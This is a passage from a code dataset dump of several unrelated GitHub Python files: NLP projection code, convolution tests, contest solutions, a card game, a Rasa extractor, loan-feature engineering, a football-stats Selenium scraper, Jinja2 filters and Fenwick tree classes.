[(x[1], x[0]) for x in trans_dict])\n \n if size1 < 1.01 * size or size1 >= limit:\n break\n else:\n size = size1\n\n proj_src_norm = util.mat_normalize(embs_src_projected, norm_order=2, axis=1)\n proj_trg_norm = util.mat_normalize(embs_trg_projected, norm_order=2, axis=1)\n \n sims_ind_src_trg = util.big_matrix_multiplication(proj_src_norm, orig_trg_norm.transpose(), lambda x: np.argmax(x, axis = 1), chunk_size = 30000)\n sims_ind_trg_src = util.big_matrix_multiplication(proj_trg_norm, orig_src_norm.transpose(), lambda x: np.argmax(x, axis = 1), chunk_size = 30000)\n \n matches = [i for i in range(len(sims_ind_src_trg)) if sims_ind_trg_src[sims_ind_src_trg[i]] == i]\n\n rank_pairs = [(m, sims_ind_src_trg[m]) for m in matches]\n rank_pairs.sort(key=lambda x: x[0] + x[1])\n cnt = min(int(growth_rate * len(trans_dict)), limit)\n \n if cnt < len(rank_pairs):\n rank_pairs = rank_pairs[:cnt]\n\n new_trans_dict = [(vocab_dict_src_inv[m[0]], vocab_dict_trg_inv[m[1]]) for m in rank_pairs]\n print(new_trans_dict)\n print(\"Dict size for next iteration: \" + str(len(new_trans_dict)))\n trans_dict = new_trans_dict\n\n return embs_src_projected, embs_trg","repo_name":"vinsachi/FIPPCLE","sub_path":"xling-bli/code/projection.py","file_name":"projection.py","file_ext":"py","file_size_in_byte":8798,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"32845831828","text":"#!/bin/python\n# -*- coding: utf-8 -*-\n\nimport os, sys\ncurrentdir = os.getcwd();\nparentdir = os.path.abspath(os.path.join(currentdir, os.pardir)) ;\nsys.path.append(parentdir)\n\nexecfile(\"../common_header.py\");\n\n# Dont forget to drop your library.pyd in the current folder\nfrom Convolution import *\n\nfrom my_python_library import *\n####################################\n## Setup variables\nl_kernel = (1<<8) + 1;\nl_data= 1<<20;\ndt = 0.03125; # [ns];\nl_fft = 1<<10;\nn_threads = 2 ;\n####################################\n\n# Generate random data\nmu=0\nsigma=2**8\ndata = normal(mu,sigma,l_data) ;\n\n\n(kernel,NoyauQ) = Kernels(l_kernel, dt); del NoyauQ;\n\n# ipython.magic(\"time Scipy = fftconvolve(kernel,data,mode='full') \");\nA = fftconvolve(kernel,data,mode='full');\n\nB = Convolution_direct(kernel, data);\nC = Convolution_rapide(kernel, data , l_fft, n_threads);\n\n####################################\n\nfig, axs = subplots(5,1)\nSLICE = slice( None, 10000, None );\naxs[0].plot(A[SLICE]);\naxs[1].plot(B[SLICE]);\naxs[2].plot(C[SLICE]);\naxs[3].plot( (B[SLICE] - A[SLICE] ) );\naxs[4].plot( (C[SLICE] - B[SLICE] ) );\n","repo_name":"SimonBolducBeaudoin/Time_domain","sub_path":"Python/1-Validation/Old/FastConvolution_is_equal_to_scipy.py","file_name":"FastConvolution_is_equal_to_scipy.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74440135183","text":"import sys\n\nread = sys.stdin.readline\nn, k = map(int, read().split())\nx = list(int(read()) for _ in range(n))\nx.sort()\n\n\ndef determine(t):\n global k\n sum = 0\n for i in x:\n if i < t:\n sum += t - i\n return sum <= k\n\n\nl = x[0]\nr = x[n - 1] + k\nans = x[0]\nwhile l <= r:\n m = (l + r) // 2\n if determine(m):\n ans = m\n l = m + 1\n else:\n r = m - 1\nprint(ans)\n","repo_name":"korjun1993/algo","sub_path":"src/boj/16564_히오스 프로게이머.py","file_name":"16564_히오스 프로게이머.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"23151722959","text":"import random\r\n\r\ndef calculate_card_value(card: str) -> int:\r\n return {'J': 11, 'Q': 12, 'K': 13, 'A': 14}[card] if card in ['J', 'Q', 'K', 'A'] else int(card)\r\n\r\ndef final_game():\r\n human_score = 0\r\n computer_score = 0\r\n list_of_computer_cards = ['A', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K']\r\n list_of_human_cards = ['A', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K']\r\n human_score, computer_score = play_game(human_score, computer_score, list_of_computer_cards, list_of_human_cards)\r\n print(f\"Your score: {human_score} \\nComputer's Score: {computer_score}\")\r\n print(\"YOU WON\") if human_score > computer_score else print(\"COMPUTER WON\") if human_score < computer_score else print(\"TIE\")\r\n \r\ndef who_won_round(human_card: str, computer_card: str) -> int:\r\n return 1 if did_computer_win(human_card, computer_card) else 2 if is_tie(human_card, computer_card) else 3\r\n\r\ndef add_score(human_score : float, computer_score : float, human_card : str, computer_card : str, revealed_card : str):\r\n if did_computer_win(human_card, computer_card):\r\n computer_score += calculate_card_value(revealed_card)\r\n elif is_tie(human_card, computer_card):\r\n computer_score += calculate_card_value(revealed_card) / 2\r\n human_score += calculate_card_value(revealed_card) / 2\r\n else:\r\n human_score += calculate_card_value(revealed_card)\r\n #print(human_score,computer_score)\r\n return human_score, computer_score\r\n\r\ndef computer_card_choice(revealed_card: str,list_of_computer_cards: list[str]) -> str:\r\n n = calculate_card_value(revealed_card)\r\n min_range = n - 2 if n >= 3 else 2\r\n max_range = n + 2 if n < 14 else 14\r\n available_cards = [card for card in list_of_computer_cards if min_range <= calculate_card_value(card) <= max_range]\r\n if available_cards:\r\n computer_card = max(available_cards, key=lambda x: calculate_card_value(x))\r\n else:\r\n computer_card = random.choice(list_of_computer_cards)\r\n list_of_computer_cards.remove(computer_card)\r\n return computer_card\r\n\r\ndef human_card_choice(list_of_human_cards: list[str]) -> str:\r\n human_card = input(\"Enter your bid card (A, 2, 3, ..., J, Q, K): \")\r\n while human_card not in list_of_human_cards:\r\n print(\"Invalid card. Play again\")\r\n human_card = input(\"Enter your bid card (A, 2, 3, ..., J, Q, K): \")\r\n list_of_human_cards.remove(human_card)\r\n return human_card\r\n\r\ndef diamond_cards_shuffle() -> list[str]:\r\n cards = ['A', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'J', 'Q', 'K']\r\n random.shuffle(cards)\r\n return cards\r\n\r\ndef did_computer_win(human_card: str, computer_card: str) -> bool:\r\n return calculate_card_value(human_card) < calculate_card_value(computer_card)\r\n\r\ndef is_tie(human_card:str, computer_card:str) -> bool:\r\n return calculate_card_value(human_card) == calculate_card_value(computer_card)\r\n\r\ndef play_game(human_score : float, computer_score : float, list_of_computer_cards : list[str], list_of_human_cards: list[str]):\r\n diamond_cards = diamond_cards_shuffle()\r\n for revealed_card in diamond_cards:\r\n print(\"Revealed card: \" + revealed_card)\r\n human_card = human_card_choice(list_of_human_cards)\r\n computer_card = computer_card_choice(revealed_card,list_of_computer_cards)\r\n #print(\"COM CARD:\", computer_card)\r\n who_won = who_won_round(human_card, computer_card)\r\n print(\"YOU WON DIAMOND CARD\") if who_won == 3 else print(\"COMPUTER WON DIAMOND CARD\") if who_won == 1 else print(\"IT'S A TIE\")\r\n human_score, computer_score = add_score(human_score, computer_score, human_card, computer_card, revealed_card)\r\n \r\n return human_score, computer_score\r\n\r\nfinal_game()","repo_name":"fromjyce/PythonPrograms","sub_path":"WEScripts/TheDiamondGame.py","file_name":"TheDiamondGame.py","file_ext":"py","file_size_in_byte":3766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41581450811","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import Text\n\nfrom rasa_nlu.components import Component\nfrom rasa_nlu.training_data import Message\n\n\nclass EntityExtractor(Component):\n def add_extractor_name(self, entities):\n # type: (List[Dict[Text, Any]]) -> List[Dict[Text, Any]]\n for entity in entities:\n entity[\"extractor\"] = self.name\n return entities\n\n def add_processor_name(self, entity):\n # type: (Dict[Text, Any]) -> Dict[Text, Any]\n if \"processors\" in entity:\n entity[\"processors\"].append(self.name)\n else:\n entity[\"processors\"] = [self.name]\n\n return entity\n\n @staticmethod\n def find_entity(ent, text, tokens):\n offsets = [token.offset for token in tokens]\n ends = [token.end for token in tokens]\n\n if ent[\"start\"] not in offsets:\n message = (\"Invalid entity {} in example '{}': \"\n \"entities must span whole tokens. \"\n \"Wrong entity start.\".format(ent, text))\n raise ValueError(message)\n\n if ent[\"end\"] not in ends:\n message = (\"Invalid entity {} in example '{}': \"\n \"entities must span whole tokens. \"\n \"Wrong entity end.\".format(ent, text))\n raise ValueError(message)\n\n start = offsets.index(ent[\"start\"])\n end = ends.index(ent[\"end\"]) + 1\n return start, end\n\n def filter_trainable_entities(self, entity_examples):\n # type: (List[Message]) -> List[Message]\n \"\"\"Filters out untrainable entity annotations.\n\n Creates a copy of entity_examples in which entities that have\n `extractor` set to something other than self.name (e.g. 'ner_crf')\n are removed.\"\"\"\n\n filtered = []\n for message in entity_examples:\n entities = []\n for ent in message.get(\"entities\", []):\n extractor = ent.get(\"extractor\")\n if not extractor or extractor == self.name:\n entities.append(ent)\n data = message.data.copy()\n data['entities'] = entities\n filtered.append(\n Message(text=message.text,\n data=data,\n output_properties=message.output_properties,\n time=message.time))\n\n return filtered\n","repo_name":"crownpku/Rasa_NLU_Chi","sub_path":"rasa_nlu/extractors/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2580,"program_lang":"python","lang":"en","doc_type":"code","stars":1468,"dataset":"github-code","pt":"47"} +{"seq_id":"28523876080","text":"from pprint import pprint\n#subtree\n\ndef inorder(node):\n global answer\n if node != None:\n if node in tree:\n inorder(tree[node]['l'])\n answer += 1\n if node in tree:\n inorder(tree[node]['r'])\n return\n\nT = int(input())\nfor t in range(1, T+1):\n E, N = map(int, input().split())\n edges = list(map(int,input().split()))\n\n tree = {}\n for i in range(1,max(edges)+1):\n tree[i] = {'l': None, 'r': None}\n\n for i in range(0, len(edges), 2):\n # print(edges[i], edges[i+1])\n if tree[edges[i]]['l'] == None:\n tree[edges[i]]['l'] = edges[i+1]\n elif tree[edges[i]]['l'] != None:\n tree[edges[i]]['r'] = edges[i+1]\n\n if edges[i+1] not in tree:\n tree[edges[i+1]] = {'l'}\n \n root = N\n answer = 0\n inorder(root)\n\n print('#{} {}'.format(t, answer))","repo_name":"Kuhnhee/TIL","sub_path":"algorithm/algorithm_challenges/SWEA/swea_1011_5174.py","file_name":"swea_1011_5174.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"} +{"seq_id":"72526246221","text":"from src.utils.utils import *\nimport sys\n\n\n# select last or all past loans payments\ndef loan_payments_segmentation(df_payments, prefix):\n \"\"\"\n separate last past loan payments from old loans payments\n\n :param df_payments: previous loans payments dataframe\n :param prefix: 'last' : selecting only last loan payments, 'all' : selecting all past loans but last loan\n\n :return dataframe : dataframe payments loans depending on prefix\n \"\"\"\n\n df_red = df_payments.loc[:, ['SK_ID_CURR', 'SK_ID_PREV', 'DAYS_INSTALMENT']].drop_duplicates()\n df_last_loan = df_red.groupby(['SK_ID_CURR']).agg({'DAYS_INSTALMENT': ['min', 'max']})\n df_last_loan.columns = ['FIRST_PAYMENT_LOANS_DATE', 'DAYS_INSTALMENT']\n df_last_loan = df_red.merge(df_last_loan, how='inner', on=['SK_ID_CURR', 'DAYS_INSTALMENT']).rename(\n columns={'DAYS_INSTALMENT': 'LAST_PAYMENT_LOANS_DATE'})\n df_last_loan_payments = df_payments.merge(df_last_loan, how='inner', on=['SK_ID_CURR', 'SK_ID_PREV'])\n\n # return all past loans payments but last\n if prefix == 'all':\n df_result = df_payments[~df_payments.SK_ID_PREV.isin(df_last_loan_payments.SK_ID_PREV)]\n # return last_loan_payments\n elif prefix == 'last':\n df_result = df_last_loan_payments\n\n return df_result\n\n\n# extract the distribution statistics of time difference between date of payment and date\ndef payments_time_difference_previous_loans(df, prefix):\n \"\"\"\n describe the distribution of payments time difference by (min, max, sum, mean)\n\n :param df: previous loans payments dataframe\n :param prefix: 'last' : selecting only last loan payments, 'all' : selecting all past loans but last loan\n\n :return dataframe :SK_ID_CURR plus LATE_PAYMENTS_TIME(min, max, mean, sum), EARLY_PAYMENTS_TIME(min, max, mean, sum)\n \"\"\"\n df_last = loan_payments_segmentation(df, prefix)\n df_last = df_last[~df_last.DAYS_ENTRY_PAYMENT.isnull()]\n\n df_last.loc[:, 'PAYMENT_DIFF'] = df_last.loc[:, 'DAYS_ENTRY_PAYMENT'] - df_last.loc[:, 'DAYS_INSTALMENT']\n df_last.loc[:, 'PAYMENT_DIFF'] = df_last.loc[:, 'PAYMENT_DIFF'].astype('float64')\n df_last.loc[:, \"LATE_PAYMENTS_TIME\"] = df_last.PAYMENT_DIFF.where(df_last.PAYMENT_DIFF > 0, 0)\n df_last.loc[:, \"EARLY_PAYMENTS_TIME\"] = -1 * df_last.PAYMENT_DIFF.where(df_last.PAYMENT_DIFF < 0, 0)\n df_last_diff = df_last[(df_last.loc[:, \"EARLY_PAYMENTS_TIME\"] != 0) | (df_last.loc[:, \"LATE_PAYMENTS_TIME\"] != 0)]\n\n if prefix == 'all':\n df_last_diff = df_last_diff.groupby(['SK_ID_CURR']).agg({'LATE_PAYMENTS_TIME': ['min', 'max', 'median', 'sum'],\n 'EARLY_PAYMENTS_TIME': ['min', 'max', 'median','sum']})\n df_last_diff.columns = [\"_all_\".join(x) for x in df_last_diff.columns.ravel()]\n\n elif prefix == 'last':\n df_last_diff = df_last_diff.groupby(['SK_ID_CURR']).agg({'LATE_PAYMENTS_TIME': ['min', 'max', 'median', 'sum'],\n 'EARLY_PAYMENTS_TIME': ['min', 'max', 'median', 'sum'],\n 'LAST_PAYMENT_LOANS_DATE': ['mean'],\n 'FIRST_PAYMENT_LOANS_DATE': ['mean']})\n df_last_diff.columns = [\"_last_\".join(x) for x in df_last_diff.columns.ravel()]\n\n df_last_diff.columns = df_last_diff.columns.str.upper()\n df_last_diff = df_last_diff.reset_index()\n\n df_last = df_last[['SK_ID_CURR']].drop_duplicates()\n result = df_last.merge(df_last_diff, how='left', on=['SK_ID_CURR'])\n\n return result\n\n\ndef payments_amounts_difference_previous_loans(df, prefix):\n \"\"\"\n describe the distribution of payments amount difference by (min, max, sum, mean) for late payments (>=20 days)\n\n :param df: previous loans payments dataframe\n :param prefix: 'last' : selecting only last loan payments, 'all' : selecting all past loans but last loan\n\n :return dataframe : SK_ID_CURR plus PAYMENT_AMOUNT_REST(min, max, mean, sum)\n \"\"\"\n epsilon = sys.float_info.epsilon\n \n df = loan_payments_segmentation(df, prefix)\n df = df.loc[~df.AMT_PAYMENT.isnull()]\n\n # calculate how many days the payments are late\n df.loc[:, 'PAYMENT_DIFF'] = df.loc[:, 'DAYS_ENTRY_PAYMENT'] - df.loc[:, 'DAYS_INSTALMENT']\n\n # filter on late payments for more than 20 days\n df_late = df.loc[df.PAYMENT_DIFF >= 20, :]\n null_amount_index_ = df_late.loc[df_late.AMT_INSTALMENT == 0, :].index\n df_late.loc[null_amount_index_, 'AMT_INSTALMENT'] = -1 * df_late.loc[null_amount_index_, 'AMT_PAYMENT'].values\n\n # percentage of annuity amount that is not payed (0 all annuity amount payed, 1 no payment)\n df_late.loc[:, 'PAYMENT_AMOUNT_REST'] = (df_late.loc[:, 'AMT_PAYMENT'] / (df_late.loc[:, 'AMT_INSTALMENT']+epsilon)).round(2)\n\n # describe the amount difference by statistics: min, max, mean, sum\n df_res = df_late.groupby(['SK_ID_CURR']).agg({'PAYMENT_AMOUNT_REST': ['min', 'max', 'mean', 'sum']})\n\n df_res.columns = [prefix + \"_\" + \"_\".join(x) for x in df_res.columns.ravel()]\n df_res.columns = df_res.columns.str.upper()\n df_res = df_res.reset_index()\n\n df = df[['SK_ID_CURR']].drop_duplicates()\n result = df.merge(df_res, how='left', on=['SK_ID_CURR'])\n result.fillna(0, inplace=True)\n\n return result\n\n\ndef number_of_payments(df_payment, prefix):\n \"\"\"\n count observed number of payments in past loans and predefined number in contract\n\n :param df_payment: previous loans payments dataframe\n :param prefix: 'last' : selecting only last loan payments, 'all' : selecting all past loans but last loan\n\n :return dataframe : SK_ID_CURR plus NUMBER_ACTUAL_PAYMENTS_(prefix) plus NUMBER_FIXED_PAYMENTS_(prefix)\n \"\"\"\n df_last = loan_payments_segmentation(df_payment, prefix)\n df_unique = df_last.drop_duplicates(subset=['SK_ID_CURR', 'SK_ID_PREV', 'DAYS_ENTRY_PAYMENT'])\n df_res1 = df_unique.groupby(['SK_ID_CURR'])['DAYS_ENTRY_PAYMENT'].count().reset_index().rename(\n columns={'DAYS_ENTRY_PAYMENT': 'NUMBER_ACTUAL_PAYMENTS_' + prefix.upper()})\n df_res2 = df_last.groupby(['SK_ID_CURR'])['NUM_INSTALMENT_NUMBER'].max().reset_index().rename(\n columns={'NUM_INSTALMENT_NUMBER': 'NUMBER_FIXED_PAYMENTS_' + prefix.upper()})\n\n result = df_res1.merge(df_res2, how='outer', on=['SK_ID_CURR'])\n\n df = df_payment[['SK_ID_CURR']].drop_duplicates()\n result = df.merge(result, how='left', on=['SK_ID_CURR'])\n result.fillna(-1, inplace=True)\n\n return result\n\n\ndef past_loans_duration_type(df):\n \"\"\"\n count number of loan duration type on past loans\n\n :param df: previous loans payments dataframe\n\n :return dataframe : SK_ID_CURR plus sum of binary columns across previous loans (PAST_LOANS_DURATION_TYPE)\n \"\"\"\n df = df.drop_duplicates(subset=['SK_ID_CURR', 'SK_ID_PREV', 'DAYS_ENTRY_PAYMENT', 'NUM_INSTALMENT_VERSION'])\n df.loc[:, 'NUM_INSTALMENT_VERSION'] = df.loc[:, 'NUM_INSTALMENT_VERSION'].clip(0, 4).astype(int)\n one_hot_feat = one_hot_encoding(df, 'NUM_INSTALMENT_VERSION', ['SK_ID_CURR'], drop_first=False)\n \n result_df = one_hot_feat.loc[:, one_hot_feat.columns != 'SK_ID_CURR'].add_prefix('PAST_LOANS_DURATION_TYPE_')\n \n result_df.loc[:, 'SK_ID_CURR'] = one_hot_feat.loc[:, 'SK_ID_CURR']\n\n result_df = result_df.groupby(['SK_ID_CURR'])[\n list(set(result_df.columns) - set(['SK_ID_CURR']))].mean().reset_index()\n result_df = result_df.round(2)\n\n return result_df\n\n\ndef count_missing_payments_infos(df):\n \"\"\"\n count number of missing values in past loans payments\n\n :param df: previous loans payments dataframe\n\n :return dataframe : SK_ID_CURR plus NUMBER_MISSING_PAYMENTS_INFO\n \"\"\"\n df_missing = df.loc[df.DAYS_ENTRY_PAYMENT.isnull(), :]\n df_missing.fillna(1, inplace=True)\n\n df_missing = df_missing.groupby(['SK_ID_CURR'])['DAYS_ENTRY_PAYMENT'].sum().reset_index().rename(\n columns={'DAYS_ENTRY_PAYMENT': 'NUMBER_MISSING_PAYMENTS_INFO'})\n\n df = df[['SK_ID_CURR']].drop_duplicates()\n result = df.merge(df_missing, how='left', on=['SK_ID_CURR'])\n result.fillna(0, inplace=True)\n\n return df\n\n","repo_name":"elfaizamine/loan_default_risk","sub_path":"src/features/previous_loans_payments.py","file_name":"previous_loans_payments.py","file_ext":"py","file_size_in_byte":8193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32982524324","text":"import os\n\ntry: \n from selenium import webdriver\nexcept ImportError:\n print('Versuche Selenium zu installieren')\n os.system('python -m pip install selenium') \n\ntry: \n import numpy as np\nexcept ImportError:\n print('Versuche Selenium zu installieren')\n os.system('python -m pip install numpy') \n\n#Beide Browser werden im Headless Modus gestartet, also ohne sichtbares Fenster\n\n#Chrome\noptions = webdriver.ChromeOptions()\noptions.add_argument('headless')\n\n#Firefox\n#from selenium.webdriver.firefox.options import Options\n#from selenium.webdriver.common.desired_capabilities import DesiredCapabilities\n#cap = DesiredCapabilities().FIREFOX\n#cap[\"marionette\"] = True\n#options = Options()\n#options.add_argument(\"--headless\")\n\n#URL zu den verschiedenen Ligen\nurls = [\n \"https://en.24score.com/football/england/premier_league/2019-2020/regular_season/cards/\",\n \"https://en.24score.com/football/germany/1_bundesliga/2019-2020/regular_season/cards/\",\n \"https://en.24score.com/football/spain/primera_division/2019-2020/regular_season/cards/\",\n \"https://en.24score.com/football/italy/serie_a/2019-2020/regular_season/cards/\", \n \"https://en.24score.com/football/france/ligue_1/2019-2020/1st_round/cards/\"\n]\n\n#Dateinamen für die Ausgabe der .csv Dateien\nfiles = [\n \"england.csv\",\n \"deutschland.csv\",\n \"spanien.csv\",\n \"italien.csv\",\n \"frankreich.csv\"\n]\n\n#Zähler für den richtigen dateinamen\ncounter = 0\n\n#Durchlaufen des URL Array\nfor url in urls:\n #Chrome\n browser = webdriver.Chrome('chromedriver', options=options)\n\n #Firefox\n #browser = webdriver.Firefox(capabilities=cap, options=options)\n\n #Datei öffnen\n browser.get(url)\n\n #Finden des Div mit den O/U Optionen\n ou = browser.find_element_by_class_name(\"moreless\").text\n #jedes Ergebnis wird in ein Arrayfeld geschrieben\n ou_lines = ou.splitlines()\n #Leerzeichen werden entfernt\n ou_lines = [l.replace(\" \", \"\") for l in ou_lines]\n\n #Variable zur Überprüfung, ob bereits ein Spiel stattgefunden hat\n check = True\n\n #Überprüfung, welches O/U an der 3. Stelle steht und Auslesen der Tabelle\n if ou_lines[2] == '6.5': result = browser.find_element_by_class_name('total6').text\n elif ou_lines[2] == '5.5': result = browser.find_element_by_class_name('total5').text\n elif ou_lines[2] == '4.5': result = browser.find_element_by_class_name('total4').text\n elif ou_lines[2] == '3.5': result = browser.find_element_by_class_name('total3').text\n elif ou_lines[2] == '2.5': result = browser.find_element_by_class_name('total2').text\n #Falls nichts gefunden wurde, weil es noch kein Spiel gab, dann wird nach einer weitern Möglichkeit gesucht\n if result == \"\": \n result = browser.find_element_by_class_name('totals_ou').text\n #Prüfvariable wird auf False gesetzt, es hat noch kein Spiel stattgefunden\n check = False\n\n \n #1. Zeile wird ausgelassen\n result = \"\\n\".join(result.split(\"\\n\")[1:])\n\n #Zeilenweises aufteilen der Ergebnistabelle\n lines = result.splitlines()\n\n #Falls es schon ein Spiel gab, dann wird auch die letzte Zeile ausgelassen\n if check == True: lines = lines[:-1]\n\n #Leerzeichen in den Teamnamen und im Header werden mit Unterstrichen ersetzt\n lines = [l.replace(\" \", \"O/U_\" + ou_lines[2] + \" \") for l in lines]\n lines = [l.replace(\"Avg (match)\", \"Avg_(match)\") for l in lines]\n lines = [l.replace(\"O %\", \"O_%\") for l in lines]\n lines = [l.replace(\"U %\", \"U_%\") for l in lines]\n lines = [l.replace(\"C Palace\", \"Crystal_Palace\") for l in lines]\n lines = [l.replace(\"Man Utd\", \"Manchester_United\") for l in lines]\n lines = [l.replace(\"Man City\", \"Manchester_City\") for l in lines]\n lines = [l.replace(\"West Ham\", \"West_Ham\") for l in lines]\n lines = [l.replace(\"Sheffield United\", \"Sheffield_United\") for l in lines]\n lines = [l.replace(\"Aston Villa\", \"Aston_Villa\") for l in lines]\n lines = [l.replace(\"Cologne\", \"Köln\") for l in lines]\n lines = [l.replace(\"Fortuna Dusseldorf\", \"Fortuna_Düsseldorf\") for l in lines]\n lines = [l.replace(\"Union Berlin\", \"Union_Berlin\") for l in lines]\n lines = [l.replace(\"Bayern Munich\", \"Bayern_München\") for l in lines]\n lines = [l.replace(\"Werder Bremen\", \"Werder_Bremen\") for l in lines]\n lines = [l.replace(\"Eintracht Frankfurt\", \"Eintracht_Frankfurt\") for l in lines]\n lines = [l.replace(\"Real Sociedad\", \"Real_Sociedad\") for l in lines]\n lines = [l.replace(\"Celta Vigo\", \"Celta_Vigo\") for l in lines]\n lines = [l.replace(\"Atletico Madrid\", \"Atletico_Madrid\") for l in lines]\n lines = [l.replace(\"At. Bilbao\", \"At._Bilbao\") for l in lines]\n lines = [l.replace(\"FC Sevilla\", \"FC_Sevilla\") for l in lines]\n lines = [l.replace(\"Real Madrid\", \"Real_Madrid\") for l in lines]\n lines = [l.replace(\"SC Amiens\", \"SC_Amiens\") for l in lines]\n lines = [l.replace(\"Ol. Lyon\", \"Ol._Lyon\") for l in lines]\n lines = [l.replace(\"St. Etienne\", \"St._Etienne\") for l in lines]\n #Kommazahlen werden auf den lokalen Standard (Komma statt Punkt) angepasst\n lines = [l.replace(\".5\", \",5\") for l in lines]\n #Verbleibende Leerzeichen werden mit Semikolons als Delimiter ersetzt\n lines = [l.replace(\" \", \";\") for l in lines]\n #Unterstriche werden wieder mit Leerzeichen ersetzt\n lines = [l.replace(\"_\", \" \") for l in lines]\n\n\n #Ergebnis wird als csv Datei gespeichert\n #Dateiname ist der jeweilige Eintrag aus dem files-Array\n #Delimiter ist das Semikolon und Zeilenumbrüche werden mir Enter hinterlegt\n np.savetxt(\".\\\\output\\\\\" + files[counter], lines, delimiter=';', fmt='%s', newline='\\n')\n\n #Ausgabe, dass die Datei geschrieben wurde\n print(files[counter] + ' done')\n\n #Browser wird geschlossen\n browser.quit()\n\n #Zähler wird um 1 erhöht, damit beim nächsten Durchlauf wieder der passende Dateiname gewählt wird\n counter = counter + 1\n\n#Ausgabe, dass alles erledigt wurde\nprint('All DONE!!!')\n\n#Am Ende wird der Browser noch einmal geschlossen\n#browser.quit()","repo_name":"suckerp/scraper","sub_path":"cards.py","file_name":"cards.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38505589203","text":"# -*- coding: utf-8 -*-\n# jinja2自定过滤器\n\n\ndef datetimeformat_readable(value, format='%Y-%m-%d %H:%M:%S'):\n \"\"\"\n 时间格式化\n :param value: datetime\n :param format:\n :return: str\n \"\"\"\n if not value:\n return ''\n return value.strftime(format)\n\n\ndef byte_with_unit_readable(value):\n \"\"\"\n 将byte转为可读的单位\n :param value: 数据存储大小，int或float\n :return: 带单位的可视化大小，str\n \"\"\"\n list_unit = ['Byte', 'KB', 'MB', 'GB', 'TB', 'PB']\n i = 0\n while True:\n b = 1024 ** i\n t = float(value) / b\n if 0 < t < 1000:\n break\n i += 1\n\n return str(round(t, 3)) + ' ' + list_unit[i]\n\n\ndef exif_resolution_unit(value):\n \"\"\"\n ResolutionUnit可读化\n :param value: int\n :return: description\n \"\"\"\n dict_desc = {'1': 'cm',\n '2': 'Inch',\n '3': 'km'}\n return dict_desc.get(str(value) if isinstance(value, int) else value, '')\n\n\ndef exif_exposure_mode_readable(value):\n \"\"\"\n ExposureMode可读化\n :param value: int\n :return: description\n \"\"\"\n dict_desc = {'0': 'mode ZERO',\n '1': 'mode A',\n '2': 'mode B',\n '3': 'mode C'}\n return dict_desc.get(str(value) if isinstance(value, int) else value, '')\n\n\ndef exif_exposure_program_readable(value):\n \"\"\"\n ExposureProgram可读化\n :param value: int\n :return: description\n \"\"\"\n dict_desc = {'1': 'Auto',\n '2': 'Normal',\n '3': 'Good',\n '5': '555'}\n return dict_desc.get(str(value) if isinstance(value, int) else value, '')\n\n\ndef init_app(app):\n app.jinja_env.filters['datetimeformat'] = datetimeformat_readable\n app.jinja_env.filters['exif_ep'] = exif_exposure_program_readable\n app.jinja_env.filters['exif_em'] = exif_exposure_mode_readable\n app.jinja_env.filters['exif_ru'] = exif_resolution_unit\n app.jinja_env.filters['byte_unit'] = byte_with_unit_readable\n\n\n","repo_name":"chaosbus/MemorySeepage","sub_path":"app/tools/jinja2_custom_filter.py","file_name":"jinja2_custom_filter.py","file_ext":"py","file_size_in_byte":2029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"14303672738","text":"from typing import List\n\n\n# 1d bit\nclass NumArray:\n\n def __init__(self, nums: List[int]):\n self.nums = nums\n self.bit = [0] + nums\n power = 2\n while power < len(self.bit):\n i = 1\n while i * power < len(self.bit):\n self.bit[i * power] += self.bit[i * power - power // 2]\n i += 1\n power *= 2\n\n def update(self, i: int, val: int) -> None:\n diff = val - self.nums[i]\n self.nums[i] = val\n i = i + 1\n while i < len(self.bit):\n self.bit[i] += diff\n i += i & (-i)\n\n def sumRange(self, i: int, j: int) -> int:\n def sum(i: int):\n res = 0\n while i:\n res += self.bit[i]\n i -= i & (-i)\n return res\n\n return sum(j + 1) - sum(i)\n\n\n# 2d bit\nclass NumMatrix:\n\n def __init__(self, matrix: List[List[int]]):\n if not matrix:\n return\n self.matrix = matrix\n self.bit = [[0] * (len(matrix[0]) + 1)] + [[0] + row for row in matrix]\n for row in range(1, len(self.bit)):\n row = self.bit[row]\n power = 2\n while power < len(self.bit[0]):\n i = 1\n while i * power < len(self.bit[0]):\n row[i * power] += row[i * power - power // 2]\n i += 1\n power *= 2\n for col in range(1, len(self.bit[0])):\n power = 2\n while power < len(self.bit):\n i = 1\n while i * power < len(self.bit):\n self.bit[i * power][col] += self.bit[i * power - power // 2][col]\n i += 1\n power *= 2\n\n def update(self, row: int, col: int, val: int) -> None:\n diff = val - self.matrix[row][col]\n self.matrix[row][col] = val\n row += 1\n col += 1\n while row < len(self.bit):\n c = col\n while c < len(self.bit[0]):\n self.bit[row][c] += diff\n c += c & (-c)\n row += row & (-row)\n\n def sumRegion(self, row1: int, col1: int, row2: int, col2: int) -> int:\n def sum(row: int, col: int):\n res = 0\n while row:\n c = col\n while c:\n res += self.bit[row][c]\n c -= c & (-c)\n row -= row & (-row)\n return res\n\n return sum(row2 + 1, col2 + 1) + sum(row1, col1) - sum(row2 + 1, col1) - sum(row1, col2 + 1)\n","repo_name":"yutao-li/binary-indexed-tree","sub_path":"bit.py","file_name":"bit.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} 